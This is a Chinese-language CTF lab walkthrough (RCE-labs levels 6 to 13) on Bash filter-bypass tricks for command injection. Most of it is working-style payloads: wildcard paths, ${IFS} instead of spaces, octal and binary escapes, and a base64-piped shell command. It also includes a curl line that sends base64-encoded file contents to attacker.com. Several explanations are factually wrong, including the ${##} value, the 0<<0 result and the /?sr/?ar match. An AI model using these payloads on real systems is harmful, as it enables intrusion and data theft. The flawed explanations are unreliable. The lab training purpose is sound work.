从Level6到Level13:手把手带你通关RCE-labs靶场,掌握那些不为人知的Bash绕过技巧
从Level6到Level13:手把手带你通关RCE-labs靶场,掌握那些不为人知的Bash绕过技巧
在Web安全领域,远程命令执行(RCE)始终是攻防对抗的核心战场。当传统注入手段遭遇现代WAF的层层拦截,那些隐藏在Bash深处的特性与技巧便成为突破防线的关键钥匙。本文将带你深入Level6到Level13的实战场景,系统梳理八种主流绕过技术,从通配符妙用到无字母命令执行的魔法,每个技巧都配有原理图解与实战验证。
1. 通配符的艺术:当字母成为禁忌
在Level6的战场上,我们遭遇了史上最严苛的字符黑名单——几乎所有字母和常见符号都被封杀。但仔细观察过滤规则,会发现数字和问号(?)仍可自由使用。这正是通配符大显身手的时刻:
/???/?a? /??a?这个看似神秘的字符串实际等效于/bin/cat /flag。其核心原理在于:
?匹配任意单个字符*匹配任意长度字符(但本例中未使用)/???/匹配/bin/目录(四个字符)?a?匹配cat命令(三个字符中第二字母为a)
常见通配符组合对照表:
| 通配符模式 | 实际匹配目标 | 适用场景 |
|---|---|---|
| /???/?? | /bin/ls | 目录遍历 |
| /???/?a? | /bin/cat | 文件读取 |
| /?sr/?ar | /usr/var | 路径构造 |
提示:在实战中可先用
/???/ls确认目录结构,再针对性构造读取命令
2. 空格的七十二变:IFS与重定向的魔法
Level7展示了空格过滤的经典场景。当WAF拦截空格字符时,我们有三种主流替代方案:
- TAB键URL编码:
%09(最易用) - IFS变量引用:
${IFS}(最隐蔽) - 重定向符号:
<或<<<(最有趣)
# 三种等效payload示例 cat%09/flag cat${IFS}/flag cat</flag原理深挖:Bash中IFS(Internal Field Separator)变量默认为空格、制表符和换行符。通过变量替换,我们实现了"看不见的空格"。而重定向技巧则是利用文件描述符的隐式空格特性。
3. 重定向截断:与WAF玩时间差
Level8引入了输出重定向防御机制——所有命令输出都被丢弃到/dev/null。破解这个困局需要理解两个关键点:
- 命令分隔符优先级:分号
;的解析早于重定向 - 临时文件桥接:将输出重定向到可控文件
# 方法一:分号截断(立即执行) ?cmd=cat /flag; # 方法二:文件桥接(分步操作) ?cmd=cat /flag > /tmp/leak curl http://attacker.com/steal?data=$(base64 /tmp/leak)注意:方法二需要目标服务器具有出网权限,在CTF中通常采用第一种方案
4. 八进制逃逸:Bash的密码学
从Level9开始,我们进入无字母命令执行的奇幻世界。八进制转义是首当其冲的技巧:
$'\143\141\164' $'\57\146\154\141\147' # 等效 cat /flag转换原理:
$'\xxx'语法将八进制转换为ASCII字符- 空格必须独立转义(八进制40)
- 使用Python可快速生成payload:
print(''.join(f'$\\{oct(ord(c))[2:]}' for c in 'cat /flag'))常用命令八进制对照:
| 命令 | 八进制编码 |
|---|---|
| ls | \154\163 |
| sh | \163\150 |
| whoami | \167\150\157\141\155\151 |
5. 二进制构造术:0与1的华尔兹
Level10将限制升级到极致——仅允许0、1和少数符号。此时需要运用Bash的二进制整数解析特性:
$((2#1100011)) # 99 → 'c' $((2#1100001)) # 97 → 'a' $((2#1110100)) # 116 → 't'组合起来就是cat的二进制表达。实战中更高效的方案是:
# 使用<<< heredoc简化构造 $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\'技巧:
$((n#value))表示n进制转换,1<<1得到2即二进制基数
6. 数字1的变形记:符号的极限替代
Level11封杀了所有数字,但通过${##}可以巧妙生成数字1:
${##} # 空参数长度 → 0 $((${##} + ${##})) # 0+0 → 0 $((${##} << ${##})) # 0左移0位 → 1由此构建的二进制生成器:
$(($((${##}<<${##}))#${##}000${##}${##}${##}${##})) # 2#10000 → 16特殊变量替代方案:
| 原始数字 | 替代方案 |
|---|---|
| 0 | ${##} |
| 1 | $((${##}<<${##})) |
| 2 | $(($((${##}<<${##}))+$((${##}<<${##})))) |
7. 取反魔术:从零构造全数字宇宙
Level13展示了最精妙的数学绕过——通过取反运算构造任意数字:
$(()) # 0 $((~$(()))) # -1 (按位取反) $((~$(($((~$(()))) $((~$(()))))))) # -(-1 + -1) → 2构造原理:
$((~0))得到-1(补码表示)- 通过加减法组合可得到任意整数
- 结合八进制转换最终执行命令
# 构造数字42的取反表达式 __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))$((~$(())))))))\'8. 组合技实战:多维度绕过WAF
真实攻防中往往需要组合多种技巧。以下是典型场景的解决方案:
场景:过滤了字母、数字、空格、$和{
方案:
# 使用base64编码+管道解码 echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|sh防御对策:
- 限制命令执行函数的调用
- 白名单校验输入内容
- 禁用危险字符的多种编码形式
- 监控异常进程创建行为
在通关过程中,建议维护自己的绕过技术矩阵表,记录每个技巧的:
- 核心原理
- 适用场景
- 防御方案
- 变体组合
当你能游刃有余地在这些限制条件下完成命令执行时,不仅对Bash的理解会达到新高度,在实战中的突破能力也将大幅提升。记住,最好的学习方式就是亲手复现每个案例,并尝试创造自己的绕过变体。
